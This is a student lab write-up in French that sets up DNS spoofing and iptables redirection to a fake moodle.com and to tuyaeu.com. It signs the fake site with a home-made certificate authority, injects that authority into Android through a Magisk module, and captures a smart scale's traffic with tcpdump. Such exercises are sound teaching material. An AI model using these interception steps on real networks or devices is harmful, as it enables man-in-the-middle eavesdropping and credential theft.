Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
